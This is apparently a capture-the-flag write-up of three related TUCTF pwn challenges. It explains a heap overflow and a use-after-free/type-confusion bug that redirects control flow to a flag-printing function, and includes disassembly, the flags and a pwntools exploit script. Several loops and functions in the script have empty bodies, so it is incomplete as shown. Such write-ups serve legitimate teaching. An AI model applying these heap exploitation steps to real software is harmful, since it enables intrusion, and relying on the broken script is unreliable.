• Category: pwn
  • Points: 50, 150, 250
  • Description WoO:

My friend let me play this sick game. Can you get the hidden flag?

Challenge hosted at:

  • Description WoO2:

My friend said he fixed a problem in the last version, can you pwn this one too??

Unintended easy solution for this one, check out new version

Challenge is hosted at:

  • Description WoO2 (fixed):

My friend said he #Really# fixed a problem in the last version, can you pwn this one too??

(This is the the fixed version)

Challenge is hosted at:


All three challenges are basciallly the same and you can actually pwn all three with one exploit. First I’m gonna talk about the common parts and then about how you can exploit the three challenges.

WoO Structure

The first one I did was WoO, so I’ll explain this one first and then explain the differences to the other versions.

Basically you get dropped into a text-based menu, which allows you to create different kinds of animals and also delete them.

Welcome! I don't think we're in Kansas anymore.
We're about to head off on an adventure!
Select some animals you want to bring along.

Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:
Choose the type of tiger you want:
1: Siberian Tiger
2: Bengal Tiger
3: Sumatran Tiger
4: Caspian Tiger
Enter name of tiger:
Menu Options:
1: Bring a lion
2: Bring a tiger
3: Bring a bear
4: Delete Animal
5: Exit

Enter your choice:

Especially the delete animal option is a strong indicator that there are gonna be issues with heap allocated objects. Turns out my hunch was right ;)

Let’s look at the various functions in the program:

[0x004007f0]> afl|grep -v imp
0x004008dd  124   3     sym.l33tH4x0r
0x00400959  136   4     sym.pickLionType
0x004009e1  129   1     sym.makeLion
0x00400a62  155   4     sym.pickTigerType
0x00400afd  129   1     sym.makeTiger
0x00400b7e  135   4     sym.pickBearType
0x00400c05  157   1     sym.makeBear
0x00400ca2  67    3     sym.pwnMe
0x00400ce5  108   4     sym.deleteAnimal
0x00400d51  206   17    sym.makeStuff
0x00400e1f  81    1     sym.printMenu
0x00400e70  51    1     sym.printWelcome
0x00400ea3  93    4     sym.main

OK we have a lot of reasonable function, like picking the type for the various kinds of animals and the constructor functions for the animal objects. But there are also two very intersting functions: l33H4x0r and pwnMe.

First let’s look at the l33H4x0r function. Turns out this is a nicety of the challenge author. It roughly does:

f = fopen("flag.txt")
fgets(buf, 0x32, f)

Nice. So that’s where we’ll try to redirect our control flow and it will print the flag for us.

Now before we check out the out the pwnMe function, I need to explain some details about the other functions. We have the makeStuff function which get’s called in an infinite loop by the main function. makeStuff handles main menu selection and then dispatches to the other functions. For each kind of animal there is a make${ANIMAL} and a pick${ANIMAL}Type function.

When an animal is created a certain fixed amount of space is allocated on the heap with malloc and the type is picked and stored in the object. Then you can input a name for the animal, A pointer to the object is stored in the global pointers array. The next global variable is the index of the next free index in the pointers array.

The deletion function is also kind of buggy. It doesn’t allow deletion of index 0 and doesn’t reset the next index.

The bear is a little different than the other objects. In the first four bytes of the bear the constant 0xdeadbeef is stored. Also when a bear is allocated and stored into the pointers array, the index in the array is stored also in the bearOffset variable. Next let’s take a look at the pwnMe function:

/ (fcn) sym.pwnMe 67
|           ; var int local_8h @ rbp-0x8
|           ; var int local_10h @ rbp-0x10
|           ; CALL XREF from 0x00400df8 (sym.makeStuff)
|           0x00400ca2      55             push rbp
|           0x00400ca3      4889e5         mov rbp, rsp
|           0x00400ca6      4883ec10       sub rsp, 0x10
|           0x00400caa      8b0510142000   mov eax, dword [rip + 0x201410] ; [0x6020c0:4]=0x4700342e LEA obj.bearOffset ; ".4" @ 0x6020c0
|           0x00400cb0      4898           cdqe
|           0x00400cb2      488b04c5e020.  mov rax, qword [rax*8 + obj.pointers] ; [0x6020e0:8]=0x322e382e3420 LEA obj.pointers ; " 4.8.2" @ 0x6020e0
|           0x00400cba      488945f0       mov qword [rbp - local_10h], rax
|           0x00400cbe      488b45f0       mov rax, qword [rbp - local_10h]
|           0x00400cc2      8b4014         mov eax, dword [rax + 0x14] ; [0x14:4]=1
|           0x00400cc5      83f803         cmp eax, 3
|       ,=< 0x00400cc8      7511           jne 0x400cdb
|       |   0x00400cca      488b45f0       mov rax, qword [rbp - local_10h]
|       |   0x00400cce      488b00         mov rax, qword [rax]
|       |   0x00400cd1      488945f8       mov qword [rbp - local_8h], rax
|       |   0x00400cd5      488b45f8       mov rax, qword [rbp - local_8h]
|       |   0x00400cd9      ffd0           call rax
|       |   ; JMP XREF from 0x00400cc8 (sym.pwnMe)
|       `-> 0x00400cdb      bf00000000     mov edi, 0
\           0x00400ce0      e8fbfaffff     call sym.imp.exit

So what this function does is get the animal at the position bearOffset and checks whether it’s type is 3 and if it is, it will fetch first 8 bytes of the object and call rax it.

We can see that this function is called from makeStuff. A quick look around we can see that we have to enter 0x1337 in the menu to trigger pwnMe. So our goal is to create a object at bearOffset, where we can control the first 8 bytes, so we can trigger pwnMe and redirect control flow to l33tH4x0r.


Actually we can find out a lot through the differences, between the challenges.

  • WoO uses scanf(%s) to read the animal names and WoO2 and WoO2 (fixed) use fgets. So we have a heap based buffer overflow here.
  • WoO2 (fixed) initializes bearOffset with -1 and checks for this in pwnMe.

For WoO and WoO2 we can just create a Tiger object with type 3 and set the name the address of l33H4x0r. Because bearOffset will be initialized with zero it will take the animal at index 0, which is the Tiger object we just allocated.

The next interesting fact is that deleteAnimal doesn’t touch bearOffset, so we can allocate a bear, delete it and allocate a different kind of animal at the same place and bearOffset will still point to the same index. This is a kind of UAF/type confusion vulnerability and works on all three versions of the challenge.

I guess WoO was supposed to be solved using a heap overflow, but I didn’t see a straight forward way to do that. So I just used the UAF. The flags are

  • WoO TUCTF{H3ap_O_Fl0w_ftw}
  • WoO2 TUCTF{free_as_in_freedom_I_mean_Use_after_free}
  • WoO2 (fixed) TUCTF{free_as_in_use_after_free_I_hope-_-}

This was a fun challenge, although I think in total the points you got for solving basically one challenge were a little bit too much. A harder version should’ve not provided the l33th4x0r function.

Here’s the python script I used to pwn, although most of it is scripting the interaction with the program.

#!/usr/bin/env python

from pwn import *  # NOQA

context.log_level = "debug"

UAF = True

# vulnbin = "3eee781e62327ae39b06fec160467d6dfabe7b1a"  # WoO
# vulnbin = "e67eb287f23011a40ef5bd5c2ad2f48ca97834cf"  # WoO2
vulnbin = "503b8ee65d7e768e81ee95b7ce14b2a903abb5c7"  # WoO2 (fixed)
velf = ELF(vulnbin)

# vp = remote("", 15050)  # WoO
# vp = remote("", 25050)  # WoO
# vp = remote("", 31337)  # WoO2 (fixed)
vp = process(vulnbin)
# gdb.attach(vp, execute="./gdbbreaks")
# gdb.attach(vp)

def read_menu():
    for _ in range(8):

for _ in range(4):

def make_bear(content, type=3):
    # choose bear in toplevel menu
    # read bear type menu
    for _ in range(3):
    # bear type -- this is actually whatever since we're going to overwrite it
    # probably with content...
    # read bear's name menu line
    # bear name must be 3 for pwnMe to trigger

def make_lion(content, type=2):
    for _ in range(3):

def make_tiger(content, type=3):
    for _ in range(5):

def delete_animal(num):

if UAF:  # required for WoO2 (fixed)
    log.info("making first bear")
    log.info("making second bear")
    log.info("deleting second bear")
    # now bearOffset == 1

calltarget = velf.symbols["l33tH4x0r"]
malcontent = p64(calltarget)

log.info("making a tiger with with content\n" + hexdump(malcontent))
log.info("redirecting control flow to " + hex(calltarget))
make_tiger(malcontent, 3)

# vp.interactive()

log.info("triggering pwnMe")

# choose pwnMe

log.info("flag is probably:\n" + vp.readline())
# vp.interactive()